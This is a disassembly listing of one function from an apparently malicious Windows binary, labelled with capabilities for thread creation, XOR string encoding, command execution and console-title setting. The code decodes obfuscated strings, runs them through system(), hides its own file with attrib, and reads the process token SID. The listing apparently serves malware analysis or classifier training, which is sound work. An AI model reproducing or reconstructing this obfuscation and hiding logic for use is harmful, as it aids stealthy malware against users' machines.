Function at 0x140065b90
Capabilities:
Create thread
Encode data using xor
Execute command
Set console window title

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0xbd0
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
movaps xmmword [rax - 0x68], xmm9
movaps xmmword [rax - 0x78], xmm10
movaps xmmword [rax - 0x88], xmm11
movaps xmmword [rax - 0x98], xmm12
movaps xmmword [rax - 0xa8], xmm13
movaps xmmword [rax - 0xb8], xmm14
movaps xmmword [rax - 0xc8], xmm15
lea rbp, [rax - 0xb78]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x1400e4180]
xor rax, rsp
mov qword [rbp + 0xa98], rax
xor r14d, r14d
mov dword [rbp], r14d
call fcn.140065000
mov ecx, 8
call fcn.140092790
lea rcx, [0x140060430]
mov qword [rax], rcx
mov qword [rbp + 0x640], rax
lea rcx, [rbp + 0x838]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r14d
mov r9, rax
lea r8, [0x140073d80]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x830], rax
test rax, rax
je 0x14006ab3f
mov qword [rbp + 0x640], r14
movups xmm0, xmmword [0x1400cfa60]
movups xmmword [rbp + 0x980], xmm0
movups xmm1, xmmword [0x1400cfa70]
movups xmmword [rbp + 0x990], xmm1
movups xmm0, xmmword [0x1400cfa80]
movups xmmword [rbp + 0x9a0], xmm0
movups xmm1, xmmword [0x1400cfa90]
movups xmmword [rbp + 0x9b0], xmm1
movups xmm0, xmmword [str._abcdefghijklmnopqrstuvwxyz]
movups xmmword [rbp + 0x9c0], xmm0
movups xmm1, xmmword [0x1400cfab0]
movups xmmword [rbp + 0x9d0], xmm1
movups xmm0, xmmword [0x1400cfac0]
movups xmmword [rbp + 0x9e0], xmm0
movups xmm1, xmmword [0x1400cfad0]
movups xmmword [rbp + 0x9f0], xmm1
movups xmm0, xmmword [0x1400cfae0]
movups xmmword [rbp + 0xa00], xmm0
mov eax, dword [0x1400cfaf0]
mov dword [rbp + 0xa10], eax
mov r8d, r14d
mov edi, dword [0x1400e41d0]
movdqa xmm12, xmmword [0x1400cfe20]
movdqa xmm11, xmmword [0x1400d0350]
movdqa xmm14, xmmword [str.1111]
movdqa xmm6, xmmword [0x1400cff40]
movdqa xmm15, xmmword [0x1400cfef0]
cmp edi, 2
jl 0x140065e4f
movdqa xmmword [rbp + 0x670], xmm6
lea rcx, [rbp + 0x980]
mov edx, dword [rbp + 0x670]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm12
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm11
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm14
psubd xmm2, xmm0
andps xmm2, xmm15
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm12
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm11
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm14
psubd xmm3, xmm0
andps xmm3, xmm15
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x140065d50
cmp r8d, 0x94
jl 0x140065e4f
mov r12d, 1
jmp 0x140065ea3
movsxd rax, r8d
lea r9, [rbp + 0x980]
add r9, rax
mov r12d, 1
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, r12d
sub al, dl
movsx eax, al
imul ecx, eax, 0x31
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x94
jl 0x140065e70
xorps xmm0, xmm0
movups xmmword [rbp + 0x7a0], xmm0
mov qword [rbp + 0x7b0], r14
mov qword [rbp + 0x7b8], r14
lea rax, [rbp + 0x980]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140065ed0
lea rdx, [rbp + 0x980]
lea rcx, [rbp + 0x7a0]
call fcn.14000cc80
nop
lea rcx, [rbp + 0x7a0]
cmp qword [rbp + 0x7b8], 0xf
cmova rcx, qword [rbp + 0x7a0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov r8d, 0x104
lea rdx, [rbp + 0x980]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
movups xmmword [rbp + 0x8f8], xmm0
mov qword [rbp + 0x908], r14
mov qword [rbp + 0x910], r14
lea rax, [rbp + 0x980]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140065f46
lea rdx, [rbp + 0x980]
lea rcx, [rbp + 0x8f8]
call fcn.14000cc80
nop
lea rax, [rbp + 0x8f8]
cmp qword [rbp + 0x910], 0xf
cmova rax, qword [rbp + 0x8f8]
mov qword [rbp + 0x920], rax
mov rax, qword [rbp + 0x908]
mov qword [rbp + 0x928], rax
call fcn.1400924b4
movaps xmm0, xmmword [rbp + 0x920]
movdqa xmmword [rbp + 0x930], xmm0
lea r8, [rbp + 0x930]
mov edx, eax
lea rcx, [rbp + 0x780]
call fcn.140050b10
nop
mov rdx, qword [rbp + 0x910]
cmp rdx, 0xf
jbe 0x140065ffe
inc rdx
mov rcx, qword [rbp + 0x8f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140065ff9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140065ff9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140092a14
mov qword [rbp + 0x908], r14
mov qword [rbp + 0x910], 0xf
mov byte [rbp + 0x8f8], 0
lea rdx, [rbp + 0x680]
lea rcx, [rbp + 0x780]
call fcn.140050c80
nop
mov r9d, 0x11
lea r8, str.attrib_h_s_r__
xor edx, edx
mov rcx, rax
call fcn.14000cfd0
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
mov qword [rbp + 0x50], r14
mov qword [rbp + 0x58], r14
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x50], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8, r12
lea rdx, [0x1400cddd0]
lea rcx, [rbp + 0x40]
call fcn.14000a180
xorps xmm0, xmm0
movups xmmword [rbp + 0x700], xmm0
mov qword [rbp + 0x710], r14
mov qword [rbp + 0x718], r14
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x700], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x710], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov ebx, 0x3f
mov rdx, qword [rbp + 0x58]
cmp rdx, 0xf
jbe 0x140066101
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400660fc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400660fc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140092a14
mov qword [rbp + 0x50], r14
mov qword [rbp + 0x58], 0xf
mov byte [rbp + 0x40], 0
mov rdx, qword [rbp + 0x698]
cmp rdx, 0xf
jbe 0x140066155
inc rdx
mov rcx, qword [rbp + 0x680]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140066150
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140066150
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140092a14
mov qword [rbp + 0x690], r14
mov qword [rbp + 0x698], 0xf
mov byte [rbp + 0x680], 0
lea rcx, [rbp + 0x700]
cmp qword [rbp + 0x718], 0xf
cmova rcx, qword [rbp + 0x700]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.140064870
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [str.ES____T]
movups xmmword [rbp + 0x130], xmm0
movups xmm1, xmmword [0x1400cf9c8]
movups xmmword [rbp + 0x140], xmm1
mov eax, dword [0x1400cf9d8]
mov dword [rbp + 0x150], eax
movzx eax, word [0x1400cf9dc]
mov word [rbp + 0x154], ax
movzx eax, byte [0x1400cf9de]
mov byte [rbp + 0x156], al
mov r8d, r14d
cmp edi, 2
jl 0x1400662f1
movdqa xmmword [rbp + 0x670], xmm6
lea rcx, [rbp + 0x130]
mov edx, dword [rbp + 0x670]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm12
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm11
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm14
psubd xmm2, xmm0
andps xmm2, xmm15
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm12
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm11
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm14
psubd xmm3, xmm0
andps xmm3, xmm15
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140066200
cmp r8d, 0x27
jge 0x140066330
movsxd rax, r8d
lea r9, [rbp + 0x130]
add r9, rax
nop
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, r12d
sub al, dl
movsx eax, al
imul ecx, eax, 0x31
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x27
jl 0x140066300
lea rcx, [rbp + 0x130]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x1400cf058]
movups xmmword [rbp + 0x8f8], xmm0
movsd xmm0, qword [0x1400cf068]
movsd qword [rbp + 0x908], xmm0
mov eax, dword [0x1400cf070]
mov dword [rbp + 0x910], eax
movzx eax, byte [0x1400cf074]
mov byte [rbp + 0x914], al
mov r8d, r14d
cmp edi, 2
jl 0x140066491
movdqa xmmword [rbp + 0x670], xmm6
lea rcx, [rbp + 0x8f8]
mov edx, dword [rbp + 0x670]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm12
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm11
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm14
psubd xmm2, xmm0
andps xmm2, xmm15
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm12
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm11
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm14
psubd xmm3, xmm0
andps xmm3, xmm15
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400663a0
cmp r8d, 0x1d
jge 0x1400664d0
movsxd rax, r8d
lea r9, [rbp + 0x8f8]
add r9, rax
nop
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, r12d
sub al, dl
movsx eax, al
imul ecx, eax, 0x31
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1d
jl 0x1400664a0
lea rcx, [rbp + 0x8f8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, dword [0x1400ceff0]
mov dword [rbp], eax
mov r8d, r14d
cmp edi, 2
jl 0x140066551
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm11
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm14
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm15
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm6
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp], xmm1
jmp 0x140066589
lea r9, [rbp]
nop word [rax + rax]
mov eax, 0x5397829d
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140066560
lea rcx, [rbp]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 8
call fcn.140092790
lea rcx, [0x1400601b0]
mov qword [rax], rcx
mov qword [rbp + 0x640], rax
or ebx, 0x40
lea rcx, [rbp + 0x828]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r14d
mov r9, rax
lea r8, [0x140073d80]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x820], rax
test rax, rax
je 0x14006ab2c
mov qword [rbp + 0x640], r14
mov ecx, 8
call fcn.140092790
lea rcx, [0x14005ff70]
mov qword [rax], rcx
mov qword [rbp + 0x640], rax
bts ebx, 7
mov dword [rbp], ebx
lea rcx, [rbp + 0x818]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r14d
mov r9, rax
lea r8, [0x140073d80]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x810], rax
test rax, rax
je 0x14006ab19
mov qword [rbp + 0x640], r14
xorps xmm0, xmm0
movups xmmword [rbp + 0x7f0], xmm0
mov qword [rbp + 0x800], r14
mov qword [rbp + 0x808], 0xf
mov byte [rbp + 0x7f0], 0
movups xmmword [rbp + 0x7c0], xmm0
mov qword [rbp + 0x7d0], r14
mov qword [rbp + 0x7d8], 0xf
mov byte [rbp + 0x7c0], 0
lea rcx, [rbp + 0x760]
call fcn.1400072a0
nop
cmp qword [rbp + 0x770], 0
jbe 0x140066ae7
mov qword [rbp + 0x2d0], r14
lea rax, [rbp + 0x298]
mov qword [rbp + 0x650], rax
xor edx, edx
lea rcx, [rbp + 0x670]
call fcn.14006d680
nop
bts ebx, 0xa
mov dword [rbp], ebx
lea rax, [rbp + 0x8a0]
mov qword [rbp + 0x640], rax
mov qword [rbp + 0x8d8], r14
mov rcx, qword [rbp + 0x2d0]
test rcx, rcx
je 0x140066708
mov rax, qword [rcx]
lea rdx, [rbp + 0x8a0]
call qword [rax]
mov qword [rbp + 0x8d8], rax
lea rcx, [rbp + 0x760]
cmp qword [rbp + 0x778], 0xf
cmova rcx, qword [rbp + 0x760]
mov rax, qword [rbp + 0x770]
add rax, rcx
lea rcx, [rbp + 0x760]
cmp qword [rbp + 0x778], 0xf
cmova rcx, qword [rbp + 0x760]
mov qword [rbp + 0x920], rcx
mov qword [rbp + 0x928], rax
movaps xmm0, xmmword [rbp + 0x920]
movdqa xmmword [rbp + 0x930], xmm0
lea r8, [rbp + 0x8a0]
lea rdx, [rbp + 0x930]
lea rcx, [rbp + 0x460]
call fcn.14006fa00
nop
lea r8, [rbp + 0x670]
mov rcx, rax
call fcn.14006c2a0
nop
lea rcx, [rbp + 0x4a8]
call fcn.14006c1f0
mov rcx, qword [rbp + 0x498]
test rcx, rcx
je 0x1400667ba
mov rax, qword [rcx]
lea rdx, [rbp + 0x460]
cmp rcx, rdx
setne dl
call qword [rax + 0x20]
mov qword [rbp + 0x498], r14
mov rcx, qword [rbp + 0x2d0]
test rcx, rcx
je 0x1400667e0
mov rax, qword [rcx]
lea rdx, [rbp + 0x298]
cmp rcx, rdx
setne dl
call qword [rax + 0x20]
mov qword [rbp + 0x2d0], r14
movabs r13, 0x4624f5b62431fa02
mov qword [rbp + 0x640], r13
mov rax, qword [rbp + 0x640]
mov qword [rbp + 0x6a0], rax
movabs rbx, 0x3ff7094280a8e1d6
mov qword [rbp + 0x640], rbx
mov rax, qword [rbp + 0x640]
mov qword [rbp + 0x6a8], rax
movabs r15, 0x465786d347528f71
mov qword [rbp + 0x640], r15
mov rax, qword [rbp + 0x640]
mov qword [rbp + 0x920], rax
mov qword [rbp + 0x640], rbx
mov rax, qword [rbp + 0x640]
mov qword [rbp + 0x928], rax
movdqa xmm0, xmmword [rbp + 0x6a0]
xorps xmm0, xmmword [rbp + 0x920]
movdqa xmmword [rbp + 0x6a0], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x680], xmm0
mov qword [rbp + 0x690], r14
mov qword [rbp + 0x698], r14
lea rax, [rbp + 0x6a0]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140066890
lea rdx, [rbp + 0x6a0]
lea rcx, [rbp + 0x680]
call fcn.14000cc80
lea rdx, [rbp + 0x680]
lea rcx, [rbp + 0x670]
call fcn.14006ca20
cmp byte [rax], 4
jne 0x14006ab52
mov r8, 0xffffffffffffffff
cmp byte [rax + 8], 0
jne 0x1400669da
movabs rax, 0x4632e1b23421ea1c
mov qword [rbp + 0x640], rax
mov rax, qword [rbp + 0x640]
mov qword [rbp + 0x6a0], rax
mov qword [rbp + 0x640], rbx
mov rax, qword [rbp + 0x640]
mov qword [rbp + 0x6a8], rax
mov qword [rbp + 0x640], r15
mov rax, qword [rbp + 0x640]
mov qword [rbp + 0x920], rax
mov qword [rbp + 0x640], rbx
mov rax, qword [rbp + 0x640]
mov qword [rbp + 0x928], rax
movdqa xmm0, xmmword [rbp + 0x6a0]
xorps xmm0, xmmword [rbp + 0x920]
movdqa xmmword [rbp + 0x6a0], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x680], xmm0
mov qword [rbp + 0x690], r14
mov qword [rbp + 0x698], r14
lea rax, [rbp + 0x6a0]
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140066970
lea rdx, [rbp + 0x6a0]
lea rcx, [rbp + 0x680]
call fcn.14000cc80
lea rdx, [rbp + 0x680]
lea rcx, [rbp + 0x670]
call fcn.14006ca20
cmp byte [rax], 3
jne 0x14006ab98
mov r8, qword [rax + 8]
mov rdx, r8
cmp qword [r8 + 0x18], 0xf
jbe 0x1400669ba
mov rdx, qword [r8]
mov r8, qword [r8 + 0x10]
lea rcx, [rbp + 0x7f0]
call fcn.14000acb0
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140066aca
movabs rax, 0x465786d32626ee15
mov qword [rbp + 0x640], rax
mov rax, qword [rbp + 0x640]
mov qword [rbp + 0x6a0], rax
mov qword [rbp + 0x640], rbx
mov rax, qword [rbp + 0x640]
mov qword [rbp + 0x6a8], rax
mov qword [rbp + 0x640], r15
mov rax, qword [rbp + 0x640]
mov qword [rbp + 0x920], rax
mov qword [rbp + 0x640], rbx
mov rax, qword [rbp + 0x640]
mov qword [rbp + 0x928], rax
movdqa xmm0, xmmword [rbp + 0x6a0]
xorps xmm0, xmmword [rbp + 0x920]
movdqa xmmword [rbp + 0x6a0], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x680], xmm0
mov qword [rbp + 0x690], r14
mov qword [rbp + 0x698], r14
lea rax, [rbp + 0x6a0]
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140066a70
lea rdx, [rbp + 0x6a0]
lea rcx, [rbp + 0x680]
call fcn.14000cc80
lea rdx, [rbp + 0x680]
lea rcx, [rbp + 0x670]
call fcn.14006ca20
cmp byte [rax], 3
jne 0x14006abe5
mov r8, qword [rax + 8]
mov rdx, r8
cmp qword [r8 + 0x18], 0xf
jbe 0x140066aba
mov rdx, qword [r8]
mov r8, qword [r8 + 0x10]
lea rcx, [rbp + 0x7c0]
call fcn.14000acb0
and dword [rbp], 0xfffffbff
movzx edx, byte [rbp + 0x670]
lea rcx, [rbp + 0x678]
call fcn.14006b1d0
nop
jmp 0x140066af1
movabs r15, 0x465786d347528f71
lea rdx, [rbp + 0x7c0]
lea rcx, [rbp + 0x720]
call fcn.14000a330
mov rdx, rax
lea rcx, [rbp + 0x860]
call fcn.140007e50
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x740], xmm0
mov qword [rbp + 0x750], r14
mov qword [rbp + 0x758], 0xf
mov byte [rbp + 0x740], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0x8f0]
mov edx, 8
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x140066b5e
mov rsi, r14
jmp 0x140066c8f
lea rax, [rbp + 0x660]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, r12d
mov rcx, qword [rbp + 0x8f0]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
jne 0x140066ba4
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
je 0x140066ba4
mov rcx, qword [rbp + 0x8f0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, r14
jmp 0x140066c8f
mov ecx, dword [rbp + 0x660]
call fcn.140092a1c
mov rbx, rax
lea rax, [rbp + 0x660]
mov qword [rsp + 0x20], rax
mov r9d, dword [rbp + 0x660]
mov r8, rbx
mov edx, r12d
mov rcx, qword [rbp + 0x8f0]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov rcx, qword [rbp + 0x8f0]
test eax, eax
jne 0x140066bf9
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call fcn.140092a14
mov rsi, r14
jmp 0x140066c8f
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbp + 0x550], r14
lea rdx, [rbp + 0x550]
mov rcx, qword [rbx]
call qword [sym.imp.ADVAPI32.dll_ConvertSidToStringSidW]
test eax, eax
jne 0x140066c27
mov rcx, rbx
call fcn.140092a14
mov rsi, r14
jmp 0x140066c8f
mov rdi, qword [rbp + 0x550]
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
mov r9d, 0xffffffff
mov r8, rdi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd rbx, eax
mov rcx, rbx
call fcn.140092a1c
mov rsi, rax
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
mov r9d, 0xffffffff
mov r8, rdi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
xorps xmm0, xmm0
movups xmmword [rbp + 0x840], xmm0
mov qword [rbp + 0x850], r14
mov qword [rbp + 0x858], r14
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rsi + r8], 0
jne 0x140066cb0
mov rdx, rsi
lea rcx, [rbp + 0x840]
call fcn.14000cc80
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x6b0], xmm0
mov qword [rbp + 0x6c0], r14
mov qword [rbp + 0x6c8], 0xf
mov byte [rbp + 0x6b0], 0
mov qword [rbp + 0x8d8], r14
lea r8, [rbp + 0x8a0]
lea rdx, [rbp + 0x860]
lea rcx, [rbp + 0x6a0]
call fcn.14006b8d0
nop
movabs rax, 0x1939e9ba3421ea02
mov qword [rbp + 0x640], rax
mov rax, qword [rbp + 0x640]
mov qword [rbp + 0x670], rax
movabs rax, 0x3ff7094280a885bf
mov qword [rbp + 0x640], rax
mov rax, qword [rbp + 0x640]
mov qword [rbp + 0x678], rax
mov qword [rbp + 0x640], r15
mov rax, qword [rbp + 0x640]
mov qword [rbp + 0x920], rax
movabs rsi, 0x3ff7094280a8e1d6
mov qword [rbp + 0x640], rsi
mov rax, qword [rbp + 0x640]
mov qword [rbp + 0x928], rax
movdqa xmm0, xmmword [rbp + 0x670]
xorps xmm0, xmmword [rbp + 0x920]
movdqa xmmword [rbp + 0x670], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x680], xmm0
mov qword [rbp + 0x690], r14
mov qword [rbp + 0x698], r14
lea rax, [rbp + 0x670]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140066dc0
lea rdx, [rbp + 0x670]
lea rcx, [rbp + 0x680]
call fcn.14000cc80
lea rdx, [rbp + 0x680]
lea rcx, [rbp + 0x6a0]
call fcn.14006ca20
cmp byte [rax], 3
jne 0x14006ac32
mov r8, qword [rax + 8]
mov rdx, r8
cmp qword [r8 + 0x18], 0xf
jbe 0x140066e0a
mov rdx, qword [r8]
mov r8, qword [r8 + 0x10]
lea rcx, [rbp + 0x740]
call fcn.14000acb0
movabs rax, 0x1924e3a12e22f714
mov qword [rbp + 0x640], rax
mov rax, qword [rbp + 0x640]
mov qword [rbp + 0x670], rax
movabs rax, 0x3ff7094280a895b7
mov qword [rbp + 0x640], rax
mov rax, qword [rbp + 0x640]
mov qword [rbp + 0x678], rax
mov qword [rbp + 0x640], r15
mov rax, qword [rbp + 0x640]
mov qword [rbp + 0x920], rax
mov qword [rbp + 0x640], rsi
mov rax, qword [rbp + 0x640]
mov qword [rbp + 0x928], rax
movdqa xmm0, xmmword [rbp + 0x670]
xorps xmm0, xmmword [rbp + 0x920]
movdqa xmmword [rbp + 0x670], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x680], xmm0
mov qword [rbp + 0x690], r14
mov qword [rbp + 0x698], r14
lea rax, [rbp + 0x670]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140066ec0
lea rdx, [rbp + 0x670]
lea rcx, [rbp + 0x680]
call fcn.14000cc80
lea rdx, [rbp + 0x680]
lea rcx, [rbp + 0x6a0]
call fcn.14006ca20
mov rdx, rax
movzx eax, byte [rax]
cmp eax, 9
ja case.0x140066f11.0
lea r8, [0x140000000]
mov ecx, dword [r8 + rax*4 + 0x6ad60]
add rcx, r8
jmp rcx
movabs rax, 0x465786d34752f918
mov qword [rbp + 0x640], rax
mov rax, qword [rbp + 0x640]
mov qword [rbp + 0x670], rax
mov qword [rbp + 0x640], rsi
mov rax, qword [rbp + 0x640]
mov qword [rbp + 0x678], rax
mov qword [rbp + 0x640], r15
mov rax, qword [rbp + 0x640]
mov qword [rbp + 0x920], rax
mov qword [rbp + 0x640], rsi
mov rax, qword [rbp + 0x640]
mov qword [rbp + 0x928], rax
movdqa xmm0, xmmword [rbp + 0x670]
xorps xmm0, xmmword [rbp + 0x920]
movdqa xmmword [rbp + 0x670], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x680], xmm0
mov qword [rbp + 0x690], r14
mov qword [rbp + 0x698], r14
lea rax, [rbp + 0x670]
